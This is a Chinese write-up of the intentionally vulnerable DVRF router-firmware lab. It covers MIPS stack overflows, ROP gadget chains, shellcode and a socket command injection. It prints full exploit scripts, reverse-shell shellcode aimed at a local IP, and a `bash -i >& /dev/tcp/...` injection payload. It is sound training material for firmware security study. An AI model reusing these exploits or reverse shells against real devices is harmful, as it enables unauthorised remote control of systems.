从DVRF靶机学习固件安全

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所属分类:逆向工程

从DVRF靶机学习固件安全
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DVRF 项目介绍

该项目目标是模拟一个真实的环境,帮助人们了解 x86_64 之外的其他 CPU 架构。此固件是针对 Linksys E1550 设备量身定制的。如果您没有,请不要担心!可以用 qemu 模拟。
项目地址:https://github.com/praetorian-inc/DVRF

模拟环境

主要是用 ubuntu 16 ,如果部分题目用 qemu-user 模拟不了,就转去 attify 3.0 。但是 attify gdb 插件 gef 视乎在模拟时 vmmap 查不过来 libc 地址,问题不大只是查询方法饶了一点,还是可以解决的。
  • ubuntu 16.04
    • pwndbg
    • Qemu-static(version 2.11.1)
    • gdb-multiarch
  • attify 3.0
    • 下载地址:https://github.com/adi0x90/attifyos

stack_bof_01

获取参数后,未校验长度赋值给局部变量造成栈溢出,有后门函数 0x00400950
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image-20210311234221215
Main 函数由 libc_main_start 调用,即 main 函数为非叶子函数,返回地址存放在栈上,从汇编可见:

从DVRF靶机学习固件安全从DVRF靶机学习固件安全

直接跳转 0x00400950 会因为 t9 的值被修改而错误。mips默认 t9 为当前函数开始地址。函数内部通过 t9 寄存器和 gp 寄存器来找数据,地址等。
其他师傅文章中是通过找 libc 中的 lw $t9, arg_0($sp);jalr $t9 调整 t9 寄存器。但是我固件镜像中的 libc 没有这个 gadget ,按照偏移地址跳转过去是 jalr $t9 。换个思路直接跳过 dat_shell 开头调整 gp 部分:
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image-20210312111802336
修复 t9 寄存器思路参考师傅文章:
https://www.cnblogs.com/hac425/p/9416758.html

调试方法

需要打开几个 terminal 启动不同的命令:
  • 启动 qemu 模拟

    -strace 查看 qemu 调试信息,方便观察执行了什么命令

    qemu-mipsel-static -L . -g 1234 -strace ./pwnable/Intro/uaf_01 aaaa
  • gdb-multiarch

    gdb-multiarch ./pwnable/Intro/stack_bof_01

    set architecture mips
    set endian little
    target remote :1234
连上之后会停在 start ,在 main 函数开头打断点,运行到这个断点,然后就慢慢单步调试。

EXP

字符串是从参数读入,跳转地址转换后是不可见字符 ,需要借助 cat 传入参数
# file_name: stack_bof_01.py
from pwn import *

context.binary = "./pwnable/Intro/stack_bof_01"
context.arch = "mips"
context.endian = "little"

backdoor = 0x0040095c 

payload = 'a'*0xc8+'b'*0x4
payload += p32(backdoor)



with open("stack_bof_01_payload","w"as file:
 file.write(payload)
命令行执行:
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "`cat stack_bof_01_payload`"

stack_bof_02

和前面一题差不多,调试方法也一样,就是少了后门函数,造成溢出函数变成了 strcpy
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main 非叶子函数覆盖函数返回地址跳转存放在栈上的 shellocde 。qemu 模拟地址没有随机化,相当于 aslr 关闭了,直接调试查出 v4 的内存地址
Shellcode 查询:
http://shell-storm.org/shellcode/files/shellcode-792.php
直接写入 shellcode 可以完整执行完,但是执行 syscall 0x40404 之后没有弹 shell 而是进行运行到下一条指令。问了师傅说也有遇到过这种情况,通过加无意义的指令(nop)调整 shellcode 位置有机会能成,用了 XOR $t1, $t1, $t1 避免 strcpy x00 截断(只有不包含截断符指令都行),尝试后无果。
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查阅资料后发现,由于 mips 是流水指令集,存在 cache incoherency 的特性,需要调用 sleep 或者其他函数将数据区刷新到当前指令区中去,才能正常执行 shellcode 。
https://ctf-wiki.org/pwn/linux/mips/mips_rop/#2-dvrf-stack_bof_02c
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image-20210312200133500
构造 ROP 的 gadget 得去 libc 找,程序自身没多少个。我在 ubuntu18 gdb 连上报错,换到 ubuntu16 vmmap 查不出来 libc 信息(如图),最后换 attify 解决问题。
libc路径:/squashfs-root/lib/libc.so.0
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image-20210313011756132
先调用 sleep(1) 就需要找 gadget 控制参数以及跳转。mipsrop.find("li $a0,1") 控制第一个参数,任选一个后面 rop 没有 gadget 继续构造就换一个 -。-  ,我选着第二个构造 gadget1 = 0x2FB10
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image-20210313002948429
.text:0002FB10                 li      $a0, 1
.text:0002FB14                 move    $t9$s1
.text:0002FB18                 jalr    $t9 ; sub_2F818
接着需要找一个控制 s1 的 gadget ,用于控制执行完 gadget1 之后跳转到哪里。mipsrop.find("li $s1") 结果有很多,最后选了 gadget2 = 0x00007730
.text:00007730                 lw      $ra, 0x18+var_s10($sp)
.text:00007734                 lw      $s3, 0x18+var_sC($sp)
.text:00007738                 lw      $s2, 0x18+var_s8($sp)
.text:0000773C                 lw      $s1, 0x18+var_s4($sp)
.text:00007740                 lw      $s0, 0x18+var_s0($sp)
.text:00007744                 jr      $ra
至此 a0 被控制为 1 ,目前 payload 结构为:
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += "????"#s1
payload += "bbbb"#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
不能直接将 sleep(0x767142b0) 填到 s1 处,因为直接填地址跳转 sleep 缺少了跳转前将返回地址放到 ra 寄存器(或压栈)的过程,当 sleep 运行到结尾的 jalr $ra 时,又会跳转会到 gadget1 ,所以要换个方式。
mipsrop.tails() 找通过 s0s2s3 寄存器跳转的 gadget ,选择了 gadget3 = 0x00020F1C
.text:00020F1C                 move    $t9$s2
.text:00020F20                 lw      $ra, 0x18+var_sC($sp)
.text:00020F24                 lw      $s2, 0x18+var_s8($sp)
.text:00020F28                 lw      $s1, 0x18+var_s4($sp)
.text:00020F2C                 lw      $s0, 0x18+var_s0($sp)
.text:00020F30                 jr      $t9
解决 sleep 运行结束返回地址问题,并 lw $ra, 0x18+var_sC($sp) 控制下一层跳转,payload 结构:
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += "cccc"#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += "????"#ra
mipsrop.stackfinders() 找一个 gadget 提取栈地址放到寄存器中,找的时候还要注意控制下一次跳转选择 gadget4 = 0x16dd0  这个,通过 gadget3 提前将下次跳转地址写入 s0 :
.text:00016DD0                 addiu   $a0$sp, 0x38+var_20
.text:00016DD4                 move    $t9$s0
.text:00016DD8                 jalr    $t9
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += "????"#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
最后找一个用 a0 跳转的 gadget ,一开始用 mipsrop.tails() 没找到,最后用 mipsrop.find("move $t9,$a0)") 找着了 gadget5 = 0x214a0 ,对 mipsrop 理解不够……
.text:000214A0                 move    $t9$a0
.text:000214A4                 sw      $v0, 0x30+var_18($sp)
.text:000214A8                 jalr    $t9
最后跳转 shellcode 时,0x000214A4 的这句汇编 sw $v0, 0x30+var_18($sp) 会将 shellcode 第一个指令替换为 nop ,用无意义指令填充,将 shellcode 向后移。
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += shellcode

EXP

from pwn import *

context.binary = "./pwnable/ShellCode_Required/stack_bof_02"
context.arch = "mips"
context.endian = "little"

# libc_base = 0x766e5000
sleep = 0x767142b0#0x2F2B0+0x766e5000
gadget1 = 0x76714b10
'''
   0x76714b10: li a0,1
   0x76714b14: move t9,s1
   0x76714b18: jalr t9
'''

gadget2 = 0x766ec730
'''
   0x766ec730: lw ra,40(sp)
   0x766ec734: lw s3,36(sp)
   0x766ec738: lw s2,32(sp)
   0x766ec73c: lw s1,28(sp)
   0x766ec740: lw s0,24(sp)
   0x766ec744: jr ra
'''

gadget3 = 0x76705f1c
'''
   0x76705f1c: move t9,s2
   0x76705f20: lw ra,36(sp)
   0x76705f24: lw s2,32(sp)
   0x76705f28: lw s1,28(sp)
   0x76705f2c: lw s0,24(sp)
   0x76705f30: jr t9
'''

gadget4 = 0x766fbdd0
'''
   0x766fbdd0: addiu a0,sp,24
   0x766fbdd4 <optarg>: move t9,s0
   0x766fbdd8: jalr t9
'''

gadget5 = 0x767064a0
'''
   0x767064a0: move t9,a0
   0x767064a4: sw v0,24(sp)
   0x767064a8: jalr t9
'''

shellcode = "xffxffx06x28"  # slti $a2, $zero, -1
shellcode += "x62x69x0fx3c"  # lui $t7, 0x6962
shellcode += "x2fx2fxefx35"  # ori $t7, $t7, 0x2f2f
shellcode += "xf4xffxafxaf"  # sw $t7, -0xc($sp)
shellcode += "x73x68x0ex3c"  # lui $t6, 0x6873
shellcode += "x6ex2fxcex35"  # ori $t6, $t6, 0x2f6e
shellcode += "xf8xffxaexaf"  # sw $t6, -8($sp)
shellcode += "xfcxffxa0xaf"  # sw $zero, -4($sp)
shellcode += "xf5xffxa4x27"  # addiu $a0, $sp, -0xc
shellcode += "xffxffx05x28"  # slti $a1, $zero, -1
shellcode += "xabx0fx02x24"  # addiu;$v0, $zero, 0xfab
shellcode += "x0cx01x01x01"  # syscall 0x40404

payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += shellcode


with open("stack_bof_02_payload","w"as file:
 file.write(payload)

socket_bof

这题二进制文件用 ida 看伪代码有点瑕疵,本来溢出点变成了一个指针,导致一直找不到,最后无奈去看了下源码和结合汇编。
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

// Pwnable Socket Program
// By b1ack0wl
// Stack Overflow
 
int main(int argc, char **argv[])
{

if (argc <2){

printf("Usage: %s port_number - by b1ack0wln", argv[0]);
exit(1);

}
 
    char str[500] = "";
    char endstr[50] = "";
    int listen_fd, comm_fd;
    int retval = 0;
    int option = 1;
 
    struct sockaddr_in servaddr;
 
    listen_fd = socket(AF_INET, SOCK_STREAM, 0);
 
    bzero( &servaddr, sizeof(servaddr));
 
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = htons(INADDR_ANY);
    servaddr.sin_port = htons(atoi(argv[1]));
 printf("Binding to port %in", atoi(argv[1]));
 
    retval = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));
 if (retval == -1){
 printf("Error Binding to port %in", atoi(argv[1]));
  exit(1);}

   if(setsockopt(listen_fd, SOL_SOCKET,SO_REUSEADDR, (char*)&option, sizeof(option)) < 0){
 printf("Setsockopt failed :(n");
 close(listen_fd);
 exit(2);
}


    listen(listen_fd, 2);
 
    comm_fd = accept(listen_fd, (struct sockaddr*) NULLNULL);
 
        bzero(str, 500);
 write(comm_fd, "Send Me Bytes:",14);
        read(comm_fd,str,500);
 sprintf(endstr, "nom nom nom, you sent me %s", str);
  printf("Sent back - %s",str);
        write(comm_fd, endstr, strlen(endstr)+1);
 shutdown(comm_fd, SHUT_RDWR);
 shutdown(listen_fd, SHUT_RDWR);
 close(comm_fd);
 close(listen_fd);
return 0x42;
}
栈溢出在这句 sprintf(endstr, "nom nom nom, you sent me %s", str); str 是 socket 传入的数据,长度内容为我们所控制,溢出 padding 为 51
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image-20210314175958380

调试方法

在 ubuntu 16.04 下 gdb-multiarch target remote :1234 链接上后报错退出,切换到 attify 能继续使用最常规方式调试:qemu-user 模式加 -g 打开调试端口,gdb-multiarch target remote :1234 链接上去。
# terminal 1
sudo qemu-mipsel-static -L . -g 1234 -strace ./pwnable/ShellCode_Required/socket_bof 8884
# terminal 2 gdb-multiarch
set architecture mips 
set endian little
target remote :1234
另外一个调试方法是 qemu system 启动 mips 系统,然后传入一个 gdb-server ,在里面运行程序然后 gdb-server attach 程序,再在外面用 gdb 链接上去。
attify 里面 gdb 插件是 gef ,用 vmmap 读不出 libc 地址
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曲线救国在 0x00400D34 打下断点,单步跟进去查看 sprintf 的真实地址,然后再从 ./lib/libc.so.0 读取偏移算出基地址
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image-20210315180734572
全部题目用的 libc 都同一个,需要 shellcode 的题目,换下 shellcode 就能通用 exp 。前面 stack_bof_02 是在 ubuntu16 里面的脚本 libc_base 和 attify 不一样要换下基地址。
Stack_bof_02 的 execve('/bin/sh') 能打通
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image-20210315222312959
找一个反弹 shell 的 shellcode 替换,或者将 shell 绑定到某个端口
反弹 shell :http://shell-storm.org/shellcode/files/shellcode-860.php
绑定 shell :http://shell-storm.org/shellcode/files/shellcode-81.php
绑定 shell 的 shellcode 预期是开在本地的 4919 端口,实际运行后发现并不是,要自己查端口 -。- ,然鹅 nc 连上去后程序会蹦掉。
反弹 shell 的 shellcode 预编是反弹到 192.168.1.177:31337 ,要么修改网卡 ip ,要么就改一下 shellcode 传入的 ip
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image-20210315201159630
将 ip 地址转换成 16 进制
hex(192)#0xc0
hex(168)#0xa8
hex(1#0x01
hex(177)#0xb1
#192.168.1.177==>0xB101A8C0
编译一下,编译失败看看是不是 binutils 没装
from pwn import
context.arch = "mips"
context.endian = "little"
asm("li $a1, 0xB101A8C0")
然后搜索 x01xb1x05x3cxc0xa8xa5x34 替换为自己编译的:
stg3_SC = "xffxffx04x28xa6x0fx02x24x0cx09x09x01x11x11x04x28"
stg3_SC += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
stg3_SC += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
stg3_SC += "x27x28x80x01xffxffx06x28x57x10x02x24x0cx09x09x01"
stg3_SC += "xffxffx44x30xc9x0fx02x24x0cx09x09x01xc9x0fx02x24"
stg3_SC += "x0cx09x09x01x79x69x05x3cx01xffxa5x34x01x01xa5x20"
#stg3_SC += "xf8xffxa5xafx01xb1x05x3cxc0xa8xa5x34xfcxffxa5xaf"#192.168.1.177
stg3_SC += "xf8xffxa5xafxd3x09x05x3cxc0xa8xa5x34xfcxffxa5xaf"#192.168.211.9
stg3_SC += "xf8xffxa5x23xefxffx0cx24x27x30x80x01x4ax10x02x24"
stg3_SC += "x0cx09x09x01x62x69x08x3cx2fx2fx08x35xecxffxa8xaf"
stg3_SC += "x73x68x08x3cx6ex2fx08x35xf0xffxa8xafxffxffx07x28"
stg3_SC += "xf4xffxa7xafxfcxffxa7xafxecxffxa4x23xecxffxa8x23"
stg3_SC += "xf8xffxa8xafxf8xffxa5x23xecxffxbdx27xffxffx06x28"
stg3_SC += "xabx0fx02x24x0cx09x09x01"

EXP

#!/usr/bin/python
from pwn import *

context.arch = 'mips'
context.endian = 'little'

libc_addr = 0x4089b000#0x766e5000
sleep = 0x0002F2B0

gadget1 = 0x2fb10
'''
   0x76714b10: li a0,1
   0x76714b14: move t9,s1
   0x76714b18: jalr t9
'''

gadget2 = 0x7730
'''
   0x766ec730: lw ra,40(sp)
   0x766ec734: lw s3,36(sp)
   0x766ec738: lw s2,32(sp)
   0x766ec73c: lw s1,28(sp)
   0x766ec740: lw s0,24(sp)
   0x766ec744: jr ra
'''

gadget3 = 0x20f1c
'''
   0x76705f1c: move t9,s2
   0x76705f20: lw ra,36(sp)
   0x76705f24: lw s2,32(sp)
   0x76705f28: lw s1,28(sp)
   0x76705f2c: lw s0,24(sp)
   0x76705f30: jr t9
'''

gadget4 = 0x16dd0
'''
   0x766fbdd0: addiu a0,sp,24
   0x766fbdd4 <optarg>: move t9,s0
   0x766fbdd8: jalr t9
'''

gadget5 = 0x214a0
'''
   0x767064a0: move t9,a0
   0x767064a4: sw v0,24(sp)
   0x767064a8: jalr t9
'''

stg3_SC = "xffxffx04x28xa6x0fx02x24x0cx09x09x01x11x11x04x28"
stg3_SC += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
stg3_SC += "xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20x80x01"
stg3_SC += "x27x28x80x01xffxffx06x28x57x10x02x24x0cx09x09x01"
stg3_SC += "xffxffx44x30xc9x0fx02x24x0cx09x09x01xc9x0fx02x24"
stg3_SC += "x0cx09x09x01x79x69x05x3cx01xffxa5x34x01x01xa5x20"
#stg3_SC += "xf8xffxa5xafx01xb1x05x3cxc0xa8xa5x34xfcxffxa5xaf"#192.168.1.177
stg3_SC += "xf8xffxa5xafxd3x09x05x3cxc0xa8xa5x34xfcxffxa5xaf"#192.168.211.9
stg3_SC += "xf8xffxa5x23xefxffx0cx24x27x30x80x01x4ax10x02x24"
stg3_SC += "x0cx09x09x01x62x69x08x3cx2fx2fx08x35xecxffxa8xaf"
stg3_SC += "x73x68x08x3cx6ex2fx08x35xf0xffxa8xafxffxffx07x28"
stg3_SC += "xf4xffxa7xafxfcxffxa7xafxecxffxa4x23xecxffxa8x23"
stg3_SC += "xf8xffxa8xafxf8xffxa5x23xecxffxbdx27xffxffx06x28"
stg3_SC += "xabx0fx02x24x0cx09x09x01"

payload = 'a' * 51
payload += p32(libc_addr+gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(libc_addr+gadget3)#s1
payload += p32(libc_addr+sleep)#s2
payload += "bbbb"#s3
payload += p32(libc_addr+gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(libc_addr+gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(libc_addr+gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += stg3_SC


p = remote('127.0.0.1',8882)
p.recvuntil('Send Me Bytes:')

p.sendline(payload)

p.interactive()

socket_cmd

远程命令注入,参考资料看下面:
CTF之命令执行绕过总结
反弹Shell,看这一篇就够了
从DVRF靶机学习固件安全

EXP

依次打开终端运行
#terminal 0
qemu-mipsel-static -L . -strace ./pwnable/ShellCode_Required/socket_cmd 9999
#terminal 1
nc -lvvp 31337
#tarminal 2
nc 127.0.0.1 9999
hacked|`bash -c "bash -i >& /dev/tcp/192.168.211.9/31337 0>&1"`
从DVRF靶机学习固件安全

是 iot 用户 nc 链接上去程序,程序是用 sudo 起来,所以切换到 root

Uaf_01&heap_overflow

剩下两题 heap_overflow 和 uaf_01 没有什么思路,都是输入一次然后程序就退出了。
uaf_01 重新申请相同 0x11 ,就跳转 Awesome 那个分支,但没啥用。
heap_overflow 有个后门,输入机会只有一次,然后程序就会关掉。

参考文章


https://ctf-wiki.org/pwn/linux/mips/mips_rop/https://xz.aliyun.com/t/1511https://www.cnblogs.com/hac425/p/9416864.html

复制下方链接
https://www.hetianlab.com/expc.do?ec=ECIDd6d0-f3ad-47c1-9d14-8a29aecc8b4e&pk_campaign=weixin-wemedia#stu      
这个实验!体验在固件被加密的情况下,进行解密,还能使得固件层面的路由器安全研究顺利进行

从DVRF靶机学习固件安全


从DVRF靶机学习固件安全

本文始发于微信公众号(合天网安实验室):从DVRF靶机学习固件安全

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